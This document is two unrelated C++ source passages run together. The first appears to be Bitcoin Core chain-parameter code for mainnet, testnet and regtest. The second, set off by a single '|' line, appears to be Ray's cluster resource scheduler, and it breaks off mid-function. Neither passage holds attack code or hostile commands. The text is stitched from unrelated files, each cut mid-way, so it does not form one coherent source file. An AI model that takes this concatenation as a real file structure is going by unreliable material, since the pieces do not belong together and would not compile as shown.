consensus.vDeployments[Consensus::DEPLOYMENT_TESTDUMMY].nTimeout = 1230767999; // December 31, 2008
// The best chain should have at least this much work.
consensus.nMinimumChainWork = uint256S("0x00000000000000000000000000000000000000000e1ab5ec9348e9f4b8eb8154");
// By default assume that the signatures in ancestors of this block are valid.
consensus.defaultAssumeValid = uint256S("0x0000000000000000000f2adce67e49b0b6bdeb9de8b7c3d7e93b21e7fc1e819d"); // 623950
/**
* The message start string is designed to be unlikely to occur in normal data.
* The characters are rarely used upper ASCII, not valid as UTF-8, and produce
* a large 32-bit integer with any alignment.
*/
pchMessageStart[0] = 0xf9;
pchMessageStart[1] = 0xbe;
pchMessageStart[2] = 0xb4;
pchMessageStart[3] = 0xd9;
nDefaultPort = 8333;
nPruneAfterHeight = 100000;
m_assumed_blockchain_size = 320;
m_assumed_chain_state_size = 4;
genesis = CreateGenesisBlock(1231006505, 2083236893, 0x1d00ffff, 1, 50 * COIN);
consensus.hashGenesisBlock = genesis.GetHash();
assert(consensus.hashGenesisBlock == uint256S("0x000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1b60a8ce26f"));
assert(genesis.hashMerkleRoot == uint256S("0x4a5e1e4baab89f3a32518a88c31bc87f618f76673e2cc77ab2127b7afdeda33b"));
// Note that of those which support the service bits prefix, most only support a subset of
// possible options.
// This is fine at runtime as we'll fall back to using them as an addrfetch if they don't support the
// service bits we want, but we should get them updated to support all service bits wanted by any
// release ASAP to avoid it where possible.
vSeeds.emplace_back("seed.bitcoin.sipa.be"); // Pieter Wuille, only supports x1, x5, x9, and xd
vSeeds.emplace_back("dnsseed.bluematt.me"); // Matt Corallo, only supports x9
vSeeds.emplace_back("dnsseed.bitcoin.dashjr.org"); // Luke Dashjr
vSeeds.emplace_back("seed.bitcoinstats.com"); // Christian Decker, supports x1 - xf
vSeeds.emplace_back("seed.bitcoin.jonasschnelli.ch"); // Jonas Schnelli, only supports x1, x5, x9, and xd
vSeeds.emplace_back("seed.btc.petertodd.org"); // Peter Todd, only supports x1, x5, x9, and xd
vSeeds.emplace_back("seed.bitcoin.sprovoost.nl"); // Sjors Provoost
vSeeds.emplace_back("dnsseed.emzy.de"); // Stephan Oeste
vSeeds.emplace_back("seed.bitcoin.wiz.biz"); // Jason Maurice
base58Prefixes[PUBKEY_ADDRESS] = std::vector<unsigned char>(1,0);
base58Prefixes[SCRIPT_ADDRESS] = std::vector<unsigned char>(1,5);
base58Prefixes[SECRET_KEY] = std::vector<unsigned char>(1,128);
base58Prefixes[EXT_PUBLIC_KEY] = {0x04, 0x88, 0xB2, 0x1E};
base58Prefixes[EXT_SECRET_KEY] = {0x04, 0x88, 0xAD, 0xE4};
bech32_hrp = "bc";
vFixedSeeds = std::vector<SeedSpec6>(pnSeed6_main, pnSeed6_main + ARRAYLEN(pnSeed6_main));
fDefaultConsistencyChecks = false;
fRequireStandard = true;
m_is_test_chain = false;
m_is_mockable_chain = false;
checkpointData = {
{
{ 11111, uint256S("0x0000000069e244f73d78e8fd29ba2fd2ed618bd6fa2ee92559f542fdb26e7c1d")},
{ 33333, uint256S("0x000000002dd5588a74784eaa7ab0507a18ad16a236e7b1ce69f00d7ddfb5d0a6")},
{ 74000, uint256S("0x0000000000573993a3c9e41ce34471c079dcf5f52a0e824a81e7f953b8661a20")},
{105000, uint256S("0x00000000000291ce28027faea320c8d2b054b2e0fe44a773f3eefb151d6bdc97")},
{134444, uint256S("0x00000000000005b12ffd4cd315cd34ffd4a594f430ac814c91184a0d42d2b0fe")},
{168000, uint256S("0x000000000000099e61ea72015e79632f216fe6cb33d7899acb35b75c8303b763")},
{193000, uint256S("0x000000000000059f452a5f7340de6682a977387c17010ff6e6c3bd83ca8b1317")},
{210000, uint256S("0x000000000000048b95347e83192f69cf0366076336c639f9b7228e9ba171342e")},
{216116, uint256S("0x00000000000001b4f4b433e81ee46494af945cf96014816a4e2370f11b23df4e")},
{225430, uint256S("0x00000000000001c108384350f74090433e7fcf79a606b8e797f065b130575932")},
{250000, uint256S("0x000000000000003887df1f29024b06fc2200b55f8af8f35453d7be294df2d214")},
{279000, uint256S("0x0000000000000001ae8c72a0b0c301f67e3afca10e819efa9041e458e9bd7e40")},
{295000, uint256S("0x00000000000000004d9b4ef50f0f9d686fd69db2e03af35a100370c64632a983")},
}
};
chainTxData = ChainTxData{
// Data from RPC: getchaintxstats 4096 0000000000000000000f2adce67e49b0b6bdeb9de8b7c3d7e93b21e7fc1e819d
/* nTime */ 1585764811,
/* nTxCount */ 517186863,
/* dTxRate */ 3.305709665792344,
};
}
};
/**
* Testnet (v3)
*/
class CTestNetParams : public CChainParams {
public:
CTestNetParams() {
strNetworkID = CBaseChainParams::TESTNET;
consensus.nSubsidyHalvingInterval = 210000;
consensus.BIP16Exception = uint256S("0x00000000dd30457c001f4095d208cc1296b0eed002427aa599874af7a432b105");
consensus.BIP34Height = 21111;
consensus.BIP34Hash = uint256S("0x0000000023b3a96d3484e5abb3755c413e7d41500f8e2a5c3f0dd01299cd8ef8");
consensus.BIP65Height = 581885; // 00000000007f6655f22f98e72ed80d8b06dc761d5da09df0fa1dc4be4f861eb6
consensus.BIP66Height = 330776; // 000000002104c8c45e99a8853285a3b592602a3ccde2b832481da85e9e4ba182
consensus.CSVHeight = 770112; // 00000000025e930139bac5c6c31a403776da130831ab85be56578f3fa75369bb
consensus.SegwitHeight = 834624; // 00000000002b980fcd729daaa248fd9316a5200e9b367f4ff2c42453e84201ca
consensus.MinBIP9WarningHeight = 836640; // segwit activation height + miner confirmation window
consensus.powLimit = uint256S("00000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffff");
consensus.nPowTargetTimespan = 14 * 24 * 60 * 60; // two weeks
consensus.nPowTargetSpacing = 10 * 60;
consensus.fPowAllowMinDifficultyBlocks = true;
consensus.fPowNoRetargeting = false;
consensus.nRuleChangeActivationThreshold = 1512; // 75% for testchains
consensus.nMinerConfirmationWindow = 2016; // nPowTargetTimespan / nPowTargetSpacing
consensus.vDeployments[Consensus::DEPLOYMENT_TESTDUMMY].bit = 28;
consensus.vDeployments[Consensus::DEPLOYMENT_TESTDUMMY].nStartTime = 1199145601; // January 1, 2008
consensus.vDeployments[Consensus::DEPLOYMENT_TESTDUMMY].nTimeout = 1230767999; // December 31, 2008
// The best chain should have at least this much work.
consensus.nMinimumChainWork = uint256S("0x0000000000000000000000000000000000000000000001495c1d5a01e2af8a23");
// By default assume that the signatures in ancestors of this block are valid.
consensus.defaultAssumeValid = uint256S("0x000000000000056c49030c174179b52a928c870e6e8a822c75973b7970cfbd01"); // 1692000
pchMessageStart[0] = 0x0b;
pchMessageStart[1] = 0x11;
pchMessageStart[2] = 0x09;
pchMessageStart[3] = 0x07;
nDefaultPort = 18333;
nPruneAfterHeight = 1000;
m_assumed_blockchain_size = 40;
m_assumed_chain_state_size = 2;
genesis = CreateGenesisBlock(1296688602, 414098458, 0x1d00ffff, 1, 50 * COIN);
consensus.hashGenesisBlock = genesis.GetHash();
assert(consensus.hashGenesisBlock == uint256S("0x000000000933ea01ad0ee984209779baaec3ced90fa3f408719526f8d77f4943"));
assert(genesis.hashMerkleRoot == uint256S("0x4a5e1e4baab89f3a32518a88c31bc87f618f76673e2cc77ab2127b7afdeda33b"));
vFixedSeeds.clear();
vSeeds.clear();
// nodes with support for servicebits filtering should be at the top
vSeeds.emplace_back("testnet-seed.bitcoin.jonasschnelli.ch");
vSeeds.emplace_back("seed.tbtc.petertodd.org");
vSeeds.emplace_back("seed.testnet.bitcoin.sprovoost.nl");
vSeeds.emplace_back("testnet-seed.bluematt.me"); // Just a static list of stable node(s), only supports x9
base58Prefixes[PUBKEY_ADDRESS] = std::vector<unsigned char>(1,111);
base58Prefixes[SCRIPT_ADDRESS] = std::vector<unsigned char>(1,196);
base58Prefixes[SECRET_KEY] = std::vector<unsigned char>(1,239);
base58Prefixes[EXT_PUBLIC_KEY] = {0x04, 0x35, 0x87, 0xCF};
base58Prefixes[EXT_SECRET_KEY] = {0x04, 0x35, 0x83, 0x94};
bech32_hrp = "tb";
vFixedSeeds = std::vector<SeedSpec6>(pnSeed6_test, pnSeed6_test + ARRAYLEN(pnSeed6_test));
fDefaultConsistencyChecks = false;
fRequireStandard = false;
m_is_test_chain = true;
m_is_mockable_chain = false;
checkpointData = {
{
{546, uint256S("000000002a936ca763904c3c35fce2f3556c559c0214345d31b1bcebf76acb70")},
}
};
chainTxData = ChainTxData{
// Data from RPC: getchaintxstats 4096 000000000000056c49030c174179b52a928c870e6e8a822c75973b7970cfbd01
/* nTime */ 1585561140,
/* nTxCount */ 13483,
/* dTxRate */ 0.08523187013249722,
};
}
};
/**
* Regression test
*/
class CRegTestParams : public CChainParams {
public:
explicit CRegTestParams(const ArgsManager& args) {
strNetworkID = CBaseChainParams::REGTEST;
consensus.nSubsidyHalvingInterval = 150;
consensus.BIP16Exception = uint256();
consensus.BIP34Height = 500; // BIP34 activated on regtest (Used in functional tests)
consensus.BIP34Hash = uint256();
consensus.BIP65Height = 1351; // BIP65 activated on regtest (Used in functional tests)
consensus.BIP66Height = 1251; // BIP66 activated on regtest (Used in functional tests)
consensus.CSVHeight = 432; // CSV activated on regtest (Used in rpc activation tests)
consensus.SegwitHeight = 0; // SEGWIT is always activated on regtest unless overridden
consensus.MinBIP9WarningHeight = 0;
consensus.powLimit = uint256S("7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff");
consensus.nPowTargetTimespan = 14 * 24 * 60 * 60; // two weeks
consensus.nPowTargetSpacing = 10 * 60;
consensus.fPowAllowMinDifficultyBlocks = true;
consensus.fPowNoRetargeting = true;
consensus.nRuleChangeActivationThreshold = 108; // 75% for testchains
consensus.nMinerConfirmationWindow = 144; // Faster than normal for regtest (144 instead of 2016)
consensus.vDeployments[Consensus::DEPLOYMENT_TESTDUMMY].bit = 28;
consensus.vDeployments[Consensus::DEPLOYMENT_TESTDUMMY].nStartTime = 0;
consensus.vDeployments[Consensus::DEPLOYMENT_TESTDUMMY].nTimeout = Consensus::BIP9Deployment::NO_TIMEOUT;
// The best chain should have at least this much work.
consensus.nMinimumChainWork = uint256S("0x00");
// By default assume that the signatures in ancestors of this block are valid.
consensus.defaultAssumeValid = uint256S("0x00");
pchMessageStart[0] = 0xfa;
pchMessageStart[1] = 0xbf;
pchMessageStart[2] = 0xb5;
pchMessageStart[3] = 0xda;
nDefaultPort = 18444;
nPruneAfterHeight = 1000;
m_assumed_blockchain_size = 0;
m_assumed_chain_state_size = 0;
UpdateActivationParametersFromArgs(args);
genesis = CreateGenesisBlock(1296688602, 2, 0x207fffff, 1, 50 * COIN);
consensus.hashGenesisBlock = genesis.GetHash();
assert(consensus.hashGenesisBlock == uint256S("0x0f9188f13cb7b2c71f2a335e3a4fc328bf5beb436012afca590b1a11466e2206"));
assert(genesis.hashMerkleRoot == uint256S("0x4a5e1e4baab89f3a32518a88c31bc87f618f76673e2cc77ab2127b7afdeda33b"));
vFixedSeeds.clear(); //!< Regtest mode doesn't have any fixed seeds.
vSeeds.clear(); //!< Regtest mode doesn't have any DNS seeds.
fDefaultConsistencyChecks = true;
fRequireStandard = true;
m_is_test_chain = true;
m_is_mockable_chain = true;
checkpointData = {
{
{0, uint256S("0f9188f13cb7b2c71f2a335e3a4fc328bf5beb436012afca590b1a11466e2206")},
}
};
chainTxData = ChainTxData{
0,
0,
0
};
base58Prefixes[PUBKEY_ADDRESS] = std::vector<unsigned char>(1,111);
base58Prefixes[SCRIPT_ADDRESS] = std::vector<unsigned char>(1,196);
base58Prefixes[SECRET_KEY] = std::vector<unsigned char>(1,239);
base58Prefixes[EXT_PUBLIC_KEY] = {0x04, 0x35, 0x87, 0xCF};
base58Prefixes[EXT_SECRET_KEY] = {0x04, 0x35, 0x83, 0x94};
bech32_hrp = "bcrt";
}
/**
* Allows modifying the Version Bits regtest parameters.
*/
void UpdateVersionBitsParameters(Consensus::DeploymentPos d, int64_t nStartTime, int64_t nTimeout)
{
consensus.vDeployments[d].nStartTime = nStartTime;
consensus.vDeployments[d].nTimeout = nTimeout;
}
void UpdateActivationParametersFromArgs(const ArgsManager& args);
};
void CRegTestParams::UpdateActivationParametersFromArgs(const ArgsManager& args)
{
if (args.IsArgSet("-segwitheight")) {
int64_t height = args.GetArg("-segwitheight", consensus.SegwitHeight);
if (height < -1 || height >= std::numeric_limits<int>::max()) {
throw std::runtime_error(strprintf("Activation height %ld for segwit is out of valid range. Use -1 to disable segwit.", height));
} else if (height == -1) {
LogPrintf("Segwit disabled for testing\n");
height = std::numeric_limits<int>::max();
}
consensus.SegwitHeight = static_cast<int>(height);
}
if (!args.IsArgSet("-vbparams")) return;
for (const std::string& strDeployment : args.GetArgs("-vbparams")) {
std::vector<std::string> vDeploymentParams;
boost::split(vDeploymentParams, strDeployment, boost::is_any_of(":"));
if (vDeploymentParams.size() != 3) {
throw std::runtime_error("Version bits parameters malformed, expecting deployment:start:end");
}
int64_t nStartTime, nTimeout;
if (!ParseInt64(vDeploymentParams[1], &nStartTime)) {
throw std::runtime_error(strprintf("Invalid nStartTime (%s)", vDeploymentParams[1]));
}
if (!ParseInt64(vDeploymentParams[2], &nTimeout)) {
throw std::runtime_error(strprintf("Invalid nTimeout (%s)", vDeploymentParams[2]));
}
bool found = false;
for (int j=0; j < (int)Consensus::MAX_VERSION_BITS_DEPLOYMENTS; ++j) {
if (vDeploymentParams[0] == VersionBitsDeploymentInfo[j].name) {
UpdateVersionBitsParameters(Consensus::DeploymentPos(j), nStartTime, nTimeout);
found = true;
LogPrintf("Setting version bits activation parameters for %s to start=%ld, timeout=%ld\n", vDeploymentParams[0], nStartTime, nTimeout);
break;
}
}
if (!found) {
throw std::runtime_error(strprintf("Invalid deployment (%s)", vDeploymentParams[0]));
}
}
}
static std::unique_ptr<const CChainParams> globalChainParams;
const CChainParams &Params() {
assert(globalChainParams);
return *globalChainParams;
}
std::unique_ptr<const CChainParams> CreateChainParams(const std::string& chain)
{
if (chain == CBaseChainParams::MAIN)
return std::unique_ptr<CChainParams>(new CMainParams());
else if (chain == CBaseChainParams::TESTNET)
return std::unique_ptr<CChainParams>(new CTestNetParams());
else if (chain == CBaseChainParams::REGTEST)
return std::unique_ptr<CChainParams>(new CRegTestParams(gArgs));
throw std::runtime_error(strprintf("%s: Unknown chain %s.", __func__, chain));
}
void SelectParams(const std::string& network)
{
SelectBaseParams(network);
globalChainParams = CreateChainParams(network);
}
|
// Copyright 2017 The Ray Authors.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
#include "ray/raylet/scheduling/cluster_resource_scheduler.h"
#include <boost/algorithm/string.hpp>
#include "ray/common/grpc_util.h"
#include "ray/common/ray_config.h"
namespace ray {
ClusterResourceScheduler::ClusterResourceScheduler(
int64_t local_node_id, const NodeResources &local_node_resources,
gcs::GcsClient &gcs_client)
: local_node_id_(local_node_id),
gen_(std::chrono::high_resolution_clock::now().time_since_epoch().count()),
gcs_client_(&gcs_client) {
scheduling_policy_ = std::make_unique<raylet_scheduling_policy::SchedulingPolicy>(
local_node_id_, nodes_, RayConfig::instance().scheduler_spread_threshold());
InitResourceUnitInstanceInfo();
AddOrUpdateNode(local_node_id_, local_node_resources);
InitLocalResources(local_node_resources);
}
ClusterResourceScheduler::ClusterResourceScheduler(
const std::string &local_node_id,
const absl::flat_hash_map<std::string, double> &local_node_resources,
gcs::GcsClient &gcs_client, std::function<int64_t(void)> get_used_object_store_memory,
std::function<bool(void)> get_pull_manager_at_capacity)
: get_pull_manager_at_capacity_(get_pull_manager_at_capacity),
gcs_client_(&gcs_client) {
local_node_id_ = string_to_int_map_.Insert(local_node_id);
scheduling_policy_ = std::make_unique<raylet_scheduling_policy::SchedulingPolicy>(
local_node_id_, nodes_, RayConfig::instance().scheduler_spread_threshold());
NodeResources node_resources = ResourceMapToNodeResources(
string_to_int_map_, local_node_resources, local_node_resources);
InitResourceUnitInstanceInfo();
AddOrUpdateNode(local_node_id_, node_resources);
InitLocalResources(node_resources);
get_used_object_store_memory_ = get_used_object_store_memory;
}
bool ClusterResourceScheduler::NodeAlive(int64_t node_id) const {
if (node_id == local_node_id_) {
return true;
}
if (node_id == -1) {
return false;
}
auto node_id_binary = string_to_int_map_.Get(node_id);
return gcs_client_->Nodes().Get(NodeID::FromBinary(node_id_binary)) != nullptr;
}
void ClusterResourceScheduler::InitResourceUnitInstanceInfo() {
std::string predefined_unit_instance_resources =
RayConfig::instance().predefined_unit_instance_resources();
if (!predefined_unit_instance_resources.empty()) {
std::vector<std::string> results;
boost::split(results, predefined_unit_instance_resources, boost::is_any_of(","));
for (std::string &result : results) {
PredefinedResources resource = ResourceStringToEnum(result);
RAY_CHECK(resource < PredefinedResources_MAX)
<< "Failed to parse predefined resource";
predefined_unit_instance_resources_.emplace(resource);
}
}
std::string custom_unit_instance_resources =
RayConfig::instance().custom_unit_instance_resources();
if (!custom_unit_instance_resources.empty()) {
std::vector<std::string> results;
boost::split(results, custom_unit_instance_resources, boost::is_any_of(","));
for (std::string &result : results) {
int64_t resource_id = string_to_int_map_.Insert(result);
custom_unit_instance_resources_.emplace(resource_id);
}
}
}
void ClusterResourceScheduler::AddOrUpdateNode(
const std::string &node_id,
const absl::flat_hash_map<std::string, double> &resources_total,
const absl::flat_hash_map<std::string, double> &resources_available) {
NodeResources node_resources = ResourceMapToNodeResources(
string_to_int_map_, resources_total, resources_available);
AddOrUpdateNode(string_to_int_map_.Insert(node_id), node_resources);
}
void ClusterResourceScheduler::AddOrUpdateNode(int64_t node_id,
const NodeResources &node_resources) {
auto it = nodes_.find(node_id);
if (it == nodes_.end()) {
// This node is new, so add it to the map.
nodes_.emplace(node_id, node_resources);
} else {
// This node exists, so update its resources.
it->second = Node(node_resources);
}
}
bool ClusterResourceScheduler::UpdateNode(const std::string &node_id_string,
const rpc::ResourcesData &resource_data) {
auto node_id = string_to_int_map_.Insert(node_id_string);
if (!nodes_.contains(node_id)) {
return false;
}
auto resources_total = MapFromProtobuf(resource_data.resources_total());
auto resources_available = MapFromProtobuf(resource_data.resources_available());
NodeResources node_resources = ResourceMapToNodeResources(
string_to_int_map_, resources_total, resources_available);
NodeResources local_view;
RAY_CHECK(GetNodeResources(node_id, &local_view));
if (resource_data.resources_total_size() > 0) {
for (size_t i = 0; i < node_resources.predefined_resources.size(); ++i) {
local_view.predefined_resources[i].total =
node_resources.predefined_resources[i].total;
}
for (auto &entry : node_resources.custom_resources) {
local_view.custom_resources[entry.first].total = entry.second.total;
}
}
if (resource_data.resources_available_changed()) {
for (size_t i = 0; i < node_resources.predefined_resources.size(); ++i) {
local_view.predefined_resources[i].available =
node_resources.predefined_resources[i].available;
}
for (auto &entry : node_resources.custom_resources) {
local_view.custom_resources[entry.first].available = entry.second.available;
}
local_view.object_pulls_queued = resource_data.object_pulls_queued();
}
AddOrUpdateNode(node_id, local_view);
return true;
}
bool ClusterResourceScheduler::RemoveNode(int64_t node_id) {
auto it = nodes_.find(node_id);
if (it == nodes_.end()) {
// Node not found.
return false;
} else {
nodes_.erase(it);
return true;
}
}
bool ClusterResourceScheduler::RemoveNode(const std::string &node_id_string) {
auto node_id = string_to_int_map_.Get(node_id_string);
if (node_id == -1) {
return false;
}
return RemoveNode(node_id);
}
bool ClusterResourceScheduler::IsSchedulable(const ResourceRequest &resource_request,
int64_t node_id,
const NodeResources &resources) const {
if (resource_request.requires_object_store_memory && resources.object_pulls_queued &&
node_id != local_node_id_) {
// It's okay if the local node's pull manager is at capacity because we
// will eventually spill the task back from the waiting queue if its args
// cannot be pulled.
return false;
}
// First, check predefined resources.
for (size_t i = 0; i < PredefinedResources_MAX; i++) {
if (resource_request.predefined_resources[i] >
resources.predefined_resources[i].available) {
// A hard constraint has been violated, so we cannot schedule
// this resource request.
return false;
}
}
// Now check custom resources.
for (const auto &task_req_custom_resource : resource_request.custom_resources) {
auto it = resources.custom_resources.find(task_req_custom_resource.first);
if (it == resources.custom_resources.end()) {
// Requested resource doesn't exist at this node.
// This is a hard constraint so cannot schedule this resource request.
return false;
} else {
if (task_req_custom_resource.second > it->second.available) {
// Resource constraint is violated.
return false;
}
}
}
return true;
}
int64_t ClusterResourceScheduler::GetBestSchedulableNode(
const ResourceRequest &resource_request, bool actor_creation, bool force_spillback,
int64_t *total_violations, bool *is_infeasible) {
// The zero cpu actor is a special case that must be handled the same way by all
// scheduling policies.
if (actor_creation && resource_request.IsEmpty()) {
int64_t best_node = -1;
// This is an actor which requires no resources.
// Pick a random node to to avoid scheduling all actors on the local node.
if (nodes_.size() > 0) {
std::uniform_int_distribution<int> distribution(0, nodes_.size() - 1);
int idx = distribution(gen_);
auto iter = std::next(nodes_.begin(), idx);
for (size_t i = 0; i < nodes_.size(); ++i) {
// TODO(iycheng): Here is there are a lot of nodes died, the
// distribution might not be even.
if (NodeAlive(iter->first)) {
best_node = iter->first;
break;
}
++iter;
if (iter == nodes_.end()) {
iter = nodes_.begin();
}
}
}
RAY_LOG(DEBUG) << "GetBestSchedulableNode, best_node = " << best_node
<< ", # nodes = " << nodes_.size()
<< ", resource_request = " << resource_request.DebugString();
return best_node;
}
// TODO (Alex): Setting require_available == force_spillback is a hack in order to
// remain bug compatible with the legacy scheduling algorithms.
int64_t best_node_id = scheduling_policy_->HybridPolicy(
resource_request, force_spillback, force_spillback,
[this](auto node_id) { return this->NodeAlive(node_id); });
*is_infeasible = best_node_id == -1 ? true : false;
if (!*is_infeasible) {
// TODO (Alex): Support soft constraints if needed later.
*total_violations = 0;
}
RAY_LOG(DEBUG) << "Scheduling decision. "
<< "forcing spillback: " << force_spillback
<< ". Best node: " << best_node_id << " "
<< NodeID::FromBinary(string_to_int_map_.Get(best_node_id))
<< ", is infeasible: " << *is_infeasible;
return best_node_id;
}
std::string ClusterResourceScheduler::GetBestSchedulableNode(
const absl::flat_hash_map<std::string, double> &task_resources,
bool requires_object_store_memory, bool actor_creation, bool force_spillback,
int64_t *total_violations, bool *is_infeasible) {
ResourceRequest resource_request = ResourceMapToResourceRequest(
string_to_int_map_, task_resources, requires_object_store_memory);
int64_t node_id = GetBestSchedulableNode(
resource_request, actor_creation, force_spillback, total_violations, is_infeasible);
if (node_id == -1) {
// This is not a schedulable node, so return empty string.
return "";
}
// Return the string name of the node.
return string_to_int_map_.Get(node_id);
}
bool ClusterResourceScheduler::SubtractRemoteNodeAvailableResources(
int64_t node_id, const ResourceRequest &resource_request) {
RAY_CHECK(node_id != local_node_id_);
auto it = nodes_.find(node_id);
if (it == nodes_.end()) {
return false;
}
NodeResources *resources = it->second.GetMutableLocalView();
// Just double check this node can still schedule the resource request.
if (!IsSchedulable(resource_request, node_id, *resources)) {
return false;
}
FixedPoint zero(0.);
for (size_t i = 0; i < PredefinedResources_MAX; i++) {
resources->predefined_resources[i].available =
std::max(FixedPoint(0), resources->predefined_resources[i].available -
resource_request.predefined_resources[i]);
}
for (const auto &task_req_custom_resource : resource_request.custom_resources) {
auto it = resources->custom_resources.find(task_req_custom_resource.first);
if (it != resources->custom_resources.end()) {
it->second.available =
std::max(FixedPoint(0), it->second.available - task_req_custom_resource.second);
}
}
// TODO(swang): We should also subtract object store memory if the task has
// arguments. Right now we do not modify object_pulls_queued in case of
// performance regressions in spillback.
return true;
}
bool ClusterResourceScheduler::GetNodeResources(int64_t node_id,
NodeResources *ret_resources) const {
auto it = nodes_.find(node_id);
if (it != nodes_.end()) {
*ret_resources = it->second.GetLocalView();
return true;
} else {
return false;
}
}
const NodeResources &ClusterResourceScheduler::GetLocalNodeResources() const {
const auto &node_it = nodes_.find(local_node_id_);
RAY_CHECK(node_it != nodes_.end());
return node_it->second.GetLocalView();
}
int64_t ClusterResourceScheduler::NumNodes() const { return nodes_.size(); }
const StringIdMap &ClusterResourceScheduler::GetStringIdMap() const {
return string_to_int_map_;
}
void ClusterResourceScheduler::AddLocalResourceInstances(
const std::string &resource_name, const std::vector<FixedPoint> &instances) {
ResourceInstanceCapacities *node_instances;
local_resources_.predefined_resources.resize(PredefinedResources_MAX);
if (kCPU_ResourceLabel == resource_name) {
node_instances = &local_resources_.predefined_resources[CPU];
} else if (kGPU_ResourceLabel == resource_name) {
node_instances = &local_resources_.predefined_resources[GPU];
} else if (kObjectStoreMemory_ResourceLabel == resource_name) {
node_instances = &local_resources_.predefined_resources[OBJECT_STORE_MEM];
} else if (kMemory_ResourceLabel == resource_name) {
node_instances = &local_resources_.predefined_resources[MEM];
} else {
string_to_int_map_.Insert(resource_name);
int64_t resource_id = string_to_int_map_.Get(resource_name);
node_instances = &local_resources_.custom_resources[resource_id];
}
if (node_instances->total.size() < instances.size()) {
node_instances->total.resize(instances.size());
node_instances->available.resize(instances.size());
}
for (size_t i = 0; i < instances.size(); i++) {
node_instances->available[i] += instances[i];
node_instances->total[i] += instances[i];
}
UpdateLocalAvailableResourcesFromResourceInstances();
}
bool ClusterResourceScheduler::IsAvailableResourceEmpty(
const std::string &resource_name) {
auto it = nodes_.find(local_node_id_);
if (it == nodes_.end()) {
RAY_LOG(WARNING) << "Can't find local node:[" << local_node_id_
<< "] when check local available resource.";
return true;
}
int idx = -1;
if (resource_name == ray::kCPU_ResourceLabel) {
idx = (int)CPU;
} else if (resource_name == ray::kGPU_ResourceLabel) {
idx = (int)GPU;
} else if (resource_name == ray::kObjectStoreMemory_ResourceLabel) {
idx = (int)OBJECT_STORE_MEM;
} else if (resource_name == ray::kMemory_ResourceLabel) {
idx = (int)MEM;
};
auto local_view = it->second.GetMutableLocalView();
if (idx != -1) {
return local_view->predefined_resources[idx].available <= 0;
}
string_to_int_map_.Insert(resource_name);
int64_t resource_id = string_to_int_map_.Get(resource_name);
auto itr = local_view->custom_resources.find(resource_id);
if (itr != local_view->custom_resources.end()) {
return itr->second.available <= 0;
} else {
return true;
}
}
void ClusterResourceScheduler::UpdateResourceCapacity(const std::string &node_id_string,
const std::string &resource_name,
double resource_total) {
int64_t node_id = string_to_int_map_.Get(node_id_string);
auto it = nodes_.find(node_id);
if (it == nodes_.end()) {
NodeResources node_resources;
node_resources.predefined_resources.resize(PredefinedResources_MAX);
node_id = string_to_int_map_.Insert(node_id_string);
it = nodes_.emplace(node_id, node_resources).first;
}
int idx = -1;
if (resource_name == ray::kCPU_ResourceLabel) {
idx = (int)CPU;
} else if (resource_name == ray::kGPU_ResourceLabel) {
idx = (int)GPU;
} else if (resource_name == ray::kObjectStoreMemory_ResourceLabel) {
idx = (int)OBJECT_STORE_MEM;
} else if (resource_name == ray::kMemory_ResourceLabel) {
idx = (int)MEM;
};
auto local_view = it->second.GetMutableLocalView();
FixedPoint resource_total_fp(resource_total);
if (idx != -1) {
auto diff_capacity = resource_total_fp - local_view->predefined_resources[idx].total;
local_view->predefined_resources[idx].total += diff_capacity;
local_view->predefined_resources[idx].available += diff_capacity;
if (local_view->predefined_resources[idx].available < 0) {
local_view->predefined_resources[idx].available = 0;
}
if (local_view->predefined_resources[idx].total < 0) {
local_view->predefined_resources[idx].total = 0;
}
} else {
string_to_int_map_.Insert(resource_name);
int64_t resource_id = string_to_int_map_.Get(resource_name);
auto itr = local_view->custom_resources.find(resource_id);
if (itr != local_view->custom_resources.end()) {
auto diff_capacity = resource_total_fp - itr->second.total;
itr->second.total += diff_capacity;
itr->second.available += diff_capacity;
if (itr->second.available < 0) {
itr->second.available = 0;
}
if (itr->second.total < 0) {
itr->second.total = 0;
}
} else {
ResourceCapacity resource_capacity;
resource_capacity.total = resource_capacity.available = resource_total_fp;
local_view->custom_resources.emplace(resource_id, resource_capacity);
}
}
}
void ClusterResourceScheduler::DeleteLocalResource(const std::string &resource_name) {
DeleteResource(string_to_int_map_.Get(local_node_id_), resource_name);
}
void ClusterResourceScheduler::DeleteResource(const std::string &node_id_string,
const std::string &resource_name) {
int64_t node_id = string_to_int_map_.Get(node_id_string);
auto it = nodes_.find(node_id);
if (it == nodes_.end()) {
return;
}
int idx = -1;
if (resource_name == ray::kCPU_ResourceLabel) {
idx = (int)CPU;
} else if (resource_name == ray::kGPU_ResourceLabel) {
idx = (int)GPU;
} else if (resource_name == ray::kObjectStoreMemory_ResourceLabel) {
idx = (int)OBJECT_STORE_MEM;
} else if (resource_name == ray::kMemory_ResourceLabel) {
idx = (int)MEM;
};
auto local_view = it->second.GetMutableLocalView();
if (idx != -1) {
local_view->predefined_resources[idx].available = 0;
local_view->predefined_resources[idx].total = 0;
if (node_id == local_node_id_) {
for (auto &total : local_resources_.predefined_resources[idx].total) {
total = 0;
}
for (auto &available : local_resources_.predefined_resources[idx].available) {
available = 0;
}
}
} else {
int64_t resource_id = string_to_int_map_.Get(resource_name);
auto itr = local_view->custom_resources.find(resource_id);
if (itr != local_view->custom_resources.end()) {
local_view->custom_resources.erase(itr);
}
auto c_itr = local_resources_.custom_resources.find(resource_id);
if (node_id == local_node_id_ && c_itr != local_resources_.custom_resources.end()) {
local_resources_.custom_resources[resource_id].total.clear();
local_resources_.custom_resources[resource_id].available.clear();
local_resources_.custom_resources.erase(c_itr);
}
}
}
std::string ClusterResourceScheduler::SerializedTaskResourceInstances(
std::shared_ptr<TaskResourceInstances> task_allocation) const {
bool has_added_resource = false;
std::stringstream buffer;
buffer << "{";
for (size_t i = 0; i < PredefinedResources_MAX; i++) {
std::vector<FixedPoint> resource = task_allocation->predefined_resources[i];
if (resource.empty()) {
continue;
}
if (has_added_resource) {
buffer << ",";
}
